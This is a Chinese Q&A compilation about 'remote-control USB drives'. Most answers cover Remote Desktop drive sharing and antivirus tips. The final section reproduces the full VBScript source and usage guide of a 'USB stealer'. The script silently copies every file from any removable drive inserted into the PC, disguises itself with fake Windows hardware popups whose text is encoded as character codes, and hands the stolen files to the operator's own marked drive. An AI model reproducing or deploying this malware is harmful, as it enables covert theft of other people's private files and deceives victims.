电脑远控U盘

㈠ 远程控制u盘，完全自动，U盘插谁电脑上就能控制谁的电脑

如果任何人都能拥有这样一个U盘，上面的软件能起所述的作用，你的个人隐私也就全公开了。
个人电脑里如果有工作用的资料或常用的软件，本本或U盘随身携带有所不便，建议放到网盘上，无论在办公室还是在朋友家还是在可上网的公共场合，都能方便地拿到或看到。如果网盘不方便，还可放到自己的伊妹儿信箱，用附件的方式存草稿，比网盘还要省事，而且不管平板还是手机都能顺当打开。

㈡ U盘远程控制怎么使用

这个目前还没有软件可以实现吧？只听说过可以用向日葵远程控制软件实现手机或是其它移动设备远控电脑，还没听说过远控U盘的。。

㈢ 远程控制u盘装系统可以吗

视频里所有的windows下的操作都可以通过远程控制来完成，就是什么下载啦 运行了之类的但是 注意哦 在4;00的时候他开了虚拟机进行演示的，从这里开始，就没人能帮助你了，之后的所有才做都得靠你自己了。
注意以下几点如果你的主板支持 USB设备启动 并且被设为首启动的话 那么就完全没什么问题 重启之后按照他在虚拟机里的操作还原系统就好了如果你的主板不支持USB设备启动 或者没有开启USB启动 或者不是USB首启 那么就需要你自己去BIOS里设置了，去BIOS设置的话就没人能帮助你了~~只有你设置好了 确定他能从USB启动 才可以。

不知道我说的你明白不

㈣ 什么是远控u盘

远控U盘除了具有普通U盘的存储功能外，还具有远程控制功能，包括文件浏览、上传、下载、打开、删除，屏幕查看及鼠标控制，DOS命令行，注册表，摄像头，聊天记录等。

㈤ 远程桌面怎么把本地的usb设备让远程的电脑使用

在连接远程桌面时候，依次点击右下角选项-本地资源，然后点下面的本地设备和资源里面的详细信息，可以勾选驱动器，或者插入的设备，打上勾再连接远程主机即可

㈥ 如何让远程的电脑识别U盘

1. 在本地计算机插入U盘
   

2. 打开远程桌面

3. 选择显示选项

4. 选择本地资源

5. 选择详细信息

6. 

㈦ 电脑被远控的话，黑客会不会在电脑里放U盘小偷，U盘资料复制专家一类的木马，把U盘里的东西上传到电脑在

既然要复制你的东西自然不会让电脑提醒你，是否能骗过360就看黑客的水平了。
如果不是这样子，网上那么多U盘资料泄露，都是怎么来的呢，就是有人觉得把资料存进U盘里隔绝互联网就能防止泄露，实在太错了

㈧ 如何让远程机器识别本地U盘

1，连接时点击“选项”，选择“本地资源”，将下面的“本地磁盘”“打印机”“串行口”打钩。再进行连接时就可以在远程登录的机器上访问自己的硬盘了。
2，可能明明打钩后，仍是不能显示自己的硬盘，可以在远程机的“我的电脑”的地址栏内输入：\\tsclient\c，即可访问本地的C盘，可根据需要进行选择E,D,F盘等。

㈨ 电脑被远控的话，黑客会不会在电脑里放U盘资料复制专家一类的木马，把U盘里的东西上传到电脑在，在进行盗

您好

1，如果是中了病毒，被远程操控，的确有可能会出现这种情况。

2，您可以到电脑管家官网下载一个电脑管家。

3，电脑管家拥有16层实时防护和U盘管理工具，如果有越权读取和上传资料的操作，电脑管家会立刻制止并做出提示的。

4，另外电脑管家还有QQ全景防护功能，如果有木马病毒进入电脑，电脑管家会抢先查杀掉这些病毒的。

如果还有其他疑问和问题，欢迎再次来电脑管家企业平台进行提问，我们将尽全力为您解答疑难

㈩ u盘小偷只能本机使用吗可以远控吗

很专业，请给钱
le Stealer For Removable Drive
V3.1.101006

---By Mr.Jos

简介

顾名思义，就是通过运行该程序，自动复制该电脑上插入
U
盘上的文件，又称
U
盘小
偷、优盘大盗。

但是，我这个是参考了网上所有相关功能程序的集成并改进版，主要优点如下：

1.
静默自动运行：无论是拷贝别人优盘上的东西，还是向自己的优盘里复制进去，无需
操作；

2.
可设置型程序：设置内容包括临时复制目录、自己优盘身份文件等等，均在程序头部
有明显标注；

3.
文件筛选复制：可设置筛选复制文件大小，加速复制过程，节省磁盘空间；

4.
伪装系统提示：
伪装系统插新硬件后重启提示，
指示检测到目标优盘或已向自己优盘
复制完毕；

5.
多优盘不干涉：同一电脑上插入的所有优盘均会不干涉地复制下来；

6.
保持文件结构：复制下来文件保持数据源的文件夹层次结构；

7.
扩展应用范围：本程序不仅局限于复制
U
盘，理论上任何可移动磁盘都可复制
(
本版
本暂不支持移动硬盘
)
；

暂时想不起来了……

有几个缺点，以后会考虑完善：

1.
不支持
Win7
；

2.
没法根据文件类型进行筛选。

说明

运行：没什么可说的，把源码复制到文本文档
txt
中，把扩展名改为
vbs
，然后直接在
电脑上双击运行即可。

使用：
当程序检测到非己优盘时，
会弹出一个系统插新硬件后需要重启的提示
（这个和
XP
系统的是一模一样的，
注意下左侧是问号）
，
表明程序开始将优盘里的内容向电脑上指定
的文件夹复制了。
当程序检测到自己优盘时，
会自动将电脑上已经复制出来的文件复制到自
己的优盘里，复制完毕后，也会弹出系统插新硬件后需要重启的提示（这个和
XP
系统的不
一样，因为它的左侧是黄色叹号）
，表明复制完了，可以拔了。

非己优盘与自己优盘的判定：程序如果在一个可移动磁盘里检测到测试文件（默认
.txt
）
，则认为这是自己优盘，只往里面复制；否则认为是非己优盘，只往出复制。

结束：用任务管理器结束
wscript.exe
进程。

历史老照片不能说的秘密
慈禧军阀明末清初文革晚清

这里主要讲下设置：

源码有个
Options
Area
区域，即设置区，下设四个设置和一个子设置区域（
File
Filter
，
文件筛选器）
，下面进行一一讲解：

'----------------------Options Area-----------------------

//
设置区

Dim TempSavingPath,TestFileName,DefaultCopyDirection

Dim DeleteTempSavingFolder
TempSavingPath="C:\Drivers\Copy\"

//
电脑上的中转暂存目录

TestFileName=".txt"

//
测试文件，用于自己
/
非己优盘判定

DefaultCopyDirection="\Copy\"

//
把偷来的文件复制到自己优盘下的目录

DeleteTempSavingFolder=True

//
复制到自己优盘后，是否删除中转暂存目录

'

------------------File Filter-------------------

//
文件筛选器

Dim ActiveFileFilter,MaxSize,MinSize
ActiveFileFilter=True

//
是否启动文件筛选器

MaxSize=500000000

//
允许复制文件的最大大小
(
字节
)
MinSize=0//
允许复制文件的最小大小
(
字节
)
'---------------------------------------------------------

声明

本源码及说明仅供学习交流使用，如违法使用，原作者
Mr.Jos
不承担任何责任。

Welcome Sending Emails To Mr.Jos

:

[email protected]

源码

'*********************************************************
'

File Stealer For Removable Drive
'

V3.1.101006

---By Mr.Jos
'*********************************************************
'----------------------Options Area-----------------------

Dim TempSavingPath,TestFileName,DefaultCopyDirection

Dim DeleteTempSavingFolder
TempSavingPath="C:\Drivers\Copy\"
TestFileName=".txt"
DefaultCopyDirection="\Copy\"
DeleteTempSavingFolder=True
'

------------------File Filter-------------------

Dim ActiveFileFilter,MaxSize,MinSize
ActiveFileFilter=True
MaxSize=500000000
MinSize=0
'---------------------------------------------------------
Dim Fso,DT,SN,temp,Data,A,B

Set Fso=CreateObject("scripting.filesystemobject")
Set SN =CreateObject("Scripting.Dictionary")
Set Ws =CreateObject("wscript.shell")
On Error Resume Next

Data="-12363,-12877,-13848,-10557,-18236,-19996,87,105,110,100,111,119,115,32,-11567,-203
02,-10320,-12822,-12094,-13848,-20040,-24157,-10585,-19498,-10782,-18186,-13848,-20040,-1
9004,-14099,-17154,-11606,-14349,-10536,-12094,-14604,-18769,-17210,-13341,-17414,-24157,
-20008,-12053,-10536,-12094,13,-14604,-18769,-17210,-13341,-17414,-19771,-15140,-13639,-1
2094,-19004,-13848,-10557,-13830,-12121,-24157,13,13,-12309,-12330,-11046,-16691,-10536,-
12094,-14604,-18769,-17210,-13341,-17414,-15632,-23617,"
A=Trans(Data,1,42)
B=Trans(Data,43,494)

If Not Fso.FolderExists(TempSavingPath) then
Fso.CreateFolderTempSavingPath
End If

Do
'

Wscript.Sleep 1000

Set Disks=Fso.Drives

For Each Disk in Disks

DT=DType(Disk)

If DT=7 then
temp=MsgBox(B,36,A)

If ActiveFileFilter then

If Fso.FolderExists(SPath(Disk)) then
Fso.DeleteFolderSPath(Disk) , True

End If
Fso.CreateFolderSPath(Disk)

For Each DFile in Fso.GetFolder(Disk & "\").Files

If DFile.Size<=MaxSize and DFile.Size>=MinSize then
Fso.CopyFileDFile ,SPath(Disk) & "\"

End If

Next
FileFilter(Disk & "\")

Else
Steal(Disk)

End If
Record(Disk)

End If

If DT>12 then
Copy(Disk)
Record(Disk)

temp=MsgBox(B,68,A)

End If

Next
Wscript.sleep 9000
Loop

Function DType(Str)
DType=0

If Str.IsReady then
DType=DType+1

If Str.DriveType=1 then
DType=DType+2

End If

If SN.Exists(Str.SerialNumber)=False then
DType=DType+4

If Fso.FileExists(Str& "\" &TestFileName) then
DType=DType+8

End If

End If

End If
End Function

Function SPath(Str)
SPath=TempSavingPath&Str.VolumeName& "-" &CStr(Abs(Str.SerialNumber))
End Function

Sub Steal(Str)

Path=SPath(Str)

If Fso.FolderExists(Path) then
Fso.DeleteFolderPath,True

End If
Fso.CreateFolder Path
Fso.CopyFolderStr& "\*",Path
Fso.CopyFileStr& "\*",Path
End Sub

Sub Copy(Str)

Dim Path

Path=Str&DefaultCopyDirection

If Not Fso.FolderExists(Path) then
Fso.CreateFolder Path

End If

For Each Folder in Fso.GetFolder(TempSavingPath).SubFolders

If Fso.FolderExists(Path & "\" &Folder.Name) then

Fso.DeleteFolder Path & "\" &Folder.Name,True

End If

Next
Fso.CopyFolderTempSavingPath& "*" , Path

If Str.IsReady and DeleteTempSavingFolder=True then
Fso.DeleteFolderTempSavingPath,True

End If
End Sub

Sub Record(Str)

If Str.IsReady then
SN.AddStr.SerialNumber , ""

End If
End Sub

Function Trans(Str,m,n)
last=m-1

For i=m to n

If Mid(Data,i,1)="," then

current=""

For j=last+1 to i-1
current=current & Mid(Data,j,1)

Next

Trans=Trans &chr(cint(current))
last=i

End if

Next
End Function

Function FileFilter(Folder)

For Each SubFolder in Fso.GetFolder(Folder).SubFolders
FolderDirection=SPath(Fso.GetDrive(Fso.GetDriveName(SubFolder)))
&
Mid(SubFolder,3,Len(SubFolder))

If Not Fso.FolderExists(FolderDirection) then
Fso.CreateFolderFolderDirection

End If

For Each DFile in Fso.GetFolder(Folder).Files

If DFile.Size<=MaxSize and DFile.Size>=MinSize then
Fso.CopyFileDFile ,FolderDirection& "\"

End If

Next
FileFilter(SubFolder)

Next
End Function